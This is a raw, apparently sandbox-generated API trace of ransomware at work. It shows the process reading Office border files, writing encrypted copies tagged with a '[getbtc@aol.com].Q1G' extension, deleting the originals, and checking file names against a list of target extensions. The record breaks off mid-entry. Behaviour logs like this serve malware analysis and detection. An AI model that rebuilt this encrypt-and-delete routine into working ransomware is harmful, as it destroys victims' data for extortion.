[0258.039] lstrlenW (lpString=".zip") returned 4 [0258.039] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString=".rar") returned 4 [0258.039] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0258.039] lstrlenW (lpString=".bz2") returned 4 [0258.039] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0258.039] lstrlenW (lpString=".7z") returned 3 [0258.040] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0258.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.040] lstrlenW (lpString=".dbf") returned 4 [0258.040] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0258.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.040] lstrlenW (lpString=".1cd") returned 4 [0258.040] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0258.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0258.040] lstrlenW (lpString=".jpg") returned 4 [0258.040] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0258.040] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.040] lstrlenW (lpString="MSART11.BDR") returned 11 [0258.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.052] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=30920) returned 1 [0258.052] CloseHandle (hObject=0x3a8) returned 1 [0258.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0258.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.260] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.261] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.261] GetLastError () returned 0x0 [0258.261] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x78c8, lpOverlapped=0x0) returned 1 [0258.264] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x78d0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x78d0, lpOverlapped=0x0) returned 1 [0258.265] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.265] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.265] SetEndOfFile (hFile=0x3d8) returned 1 [0258.265] CloseHandle (hObject=0x3d8) returned 1 [0258.265] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.265] SetEndOfFile (hFile=0x3dc) returned 1 [0258.267] CloseHandle (hObject=0x3dc) returned 1 [0258.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 1 [0258.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".doc") returned 4 [0258.270] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".docx") returned 5 [0258.270] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0258.270] lstrlenW (lpString=".pdf") returned 4 [0258.270] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".xls") returned 4 [0258.270] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".xlsx") returned 5 [0258.270] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0258.270] lstrlenW (lpString=".ppt") returned 4 [0258.270] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".zip") returned 4 [0258.270] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".rar") returned 4 [0258.270] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".bz2") returned 4 [0258.270] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".7z") returned 3 [0258.270] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".dbf") returned 4 [0258.270] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".1cd") returned 4 [0258.270] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".jpg") returned 4 [0258.270] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.270] lstrlenW (lpString=".doc") returned 4 [0258.270] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.270] lstrlenW (lpString=".docx") returned 5 [0258.270] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0258.271] lstrlenW (lpString=".pdf") returned 4 [0258.271] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString=".xls") returned 4 [0258.271] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString=".xlsx") returned 5 [0258.271] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0258.271] lstrlenW (lpString=".ppt") returned 4 [0258.271] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.271] lstrlenW (lpString=".zip") returned 4 [0258.271] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString=".rar") returned 4 [0258.271] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString=".bz2") returned 4 [0258.271] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString=".7z") returned 3 [0258.271] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.271] lstrlenW (lpString=".dbf") returned 4 [0258.271] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.271] lstrlenW (lpString=".1cd") returned 4 [0258.271] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0258.271] lstrlenW (lpString=".jpg") returned 4 [0258.271] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.271] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.271] lstrlenW (lpString="MSART14.BDR") returned 11 [0258.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.272] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=51388) returned 1 [0258.272] CloseHandle (hObject=0x3dc) returned 1 [0258.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0258.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.272] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.272] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.273] GetLastError () returned 0x0 [0258.273] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xc8bc, lpOverlapped=0x0) returned 1 [0258.275] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xc8c0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xc8c0, lpOverlapped=0x0) returned 1 [0258.277] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.277] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.277] SetEndOfFile (hFile=0x3d8) returned 1 [0258.277] CloseHandle (hObject=0x3d8) returned 1 [0258.277] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.277] SetEndOfFile (hFile=0x3dc) returned 1 [0258.280] CloseHandle (hObject=0x3dc) returned 1 [0258.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".doc") returned 4 [0258.281] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".docx") returned 5 [0258.281] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0258.281] lstrlenW (lpString=".pdf") returned 4 [0258.281] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".xls") returned 4 [0258.281] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".xlsx") returned 5 [0258.281] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0258.281] lstrlenW (lpString=".ppt") returned 4 [0258.281] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".zip") returned 4 [0258.281] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".rar") returned 4 [0258.281] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".bz2") returned 4 [0258.281] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".7z") returned 3 [0258.281] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".dbf") returned 4 [0258.281] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".1cd") returned 4 [0258.281] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".jpg") returned 4 [0258.281] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.281] lstrlenW (lpString=".doc") returned 4 [0258.281] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.281] lstrlenW (lpString=".docx") returned 5 [0258.282] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0258.282] lstrlenW (lpString=".pdf") returned 4 [0258.282] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString=".xls") returned 4 [0258.282] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString=".xlsx") returned 5 [0258.282] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0258.282] lstrlenW (lpString=".ppt") returned 4 [0258.282] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.282] lstrlenW (lpString=".zip") returned 4 [0258.282] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString=".rar") returned 4 [0258.282] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString=".bz2") returned 4 [0258.282] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString=".7z") returned 3 [0258.282] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.282] lstrlenW (lpString=".dbf") returned 4 [0258.282] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.282] lstrlenW (lpString=".1cd") returned 4 [0258.282] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0258.282] lstrlenW (lpString=".jpg") returned 4 [0258.282] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.282] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.282] lstrlenW (lpString="MSART15.BDR") returned 11 [0258.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.283] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=27412) returned 1 [0258.283] CloseHandle (hObject=0x3dc) returned 1 [0258.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0258.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.283] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.283] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.284] GetLastError () returned 0x0 [0258.284] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x6b14, lpOverlapped=0x0) returned 1 [0258.286] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x6b20, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x6b20, lpOverlapped=0x0) returned 1 [0258.287] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.287] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.287] SetEndOfFile (hFile=0x3d8) returned 1 [0258.287] CloseHandle (hObject=0x3d8) returned 1 [0258.287] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.287] SetEndOfFile (hFile=0x3dc) returned 1 [0258.290] CloseHandle (hObject=0x3dc) returned 1 [0258.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 1 [0258.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.290] lstrlenW (lpString=".doc") returned 4 [0258.290] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.290] lstrlenW (lpString=".docx") returned 5 [0258.290] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0258.290] lstrlenW (lpString=".pdf") returned 4 [0258.291] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".xls") returned 4 [0258.291] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".xlsx") returned 5 [0258.291] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0258.291] lstrlenW (lpString=".ppt") returned 4 [0258.291] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString=".zip") returned 4 [0258.291] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".rar") returned 4 [0258.291] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".bz2") returned 4 [0258.291] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".7z") returned 3 [0258.291] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString=".dbf") returned 4 [0258.291] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString=".1cd") returned 4 [0258.291] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString=".jpg") returned 4 [0258.291] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.291] lstrlenW (lpString=".doc") returned 4 [0258.291] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".docx") returned 5 [0258.291] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0258.291] lstrlenW (lpString=".pdf") returned 4 [0258.291] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.291] lstrlenW (lpString=".xls") returned 4 [0258.291] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString=".xlsx") returned 5 [0258.292] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0258.292] lstrlenW (lpString=".ppt") returned 4 [0258.292] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.292] lstrlenW (lpString=".zip") returned 4 [0258.292] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString=".rar") returned 4 [0258.292] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString=".bz2") returned 4 [0258.292] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString=".7z") returned 3 [0258.292] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.292] lstrlenW (lpString=".dbf") returned 4 [0258.292] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.292] lstrlenW (lpString=".1cd") returned 4 [0258.292] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62 [0258.292] lstrlenW (lpString=".jpg") returned 4 [0258.292] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.292] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.292] lstrlenW (lpString="MSART2.BDR") returned 10 [0258.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 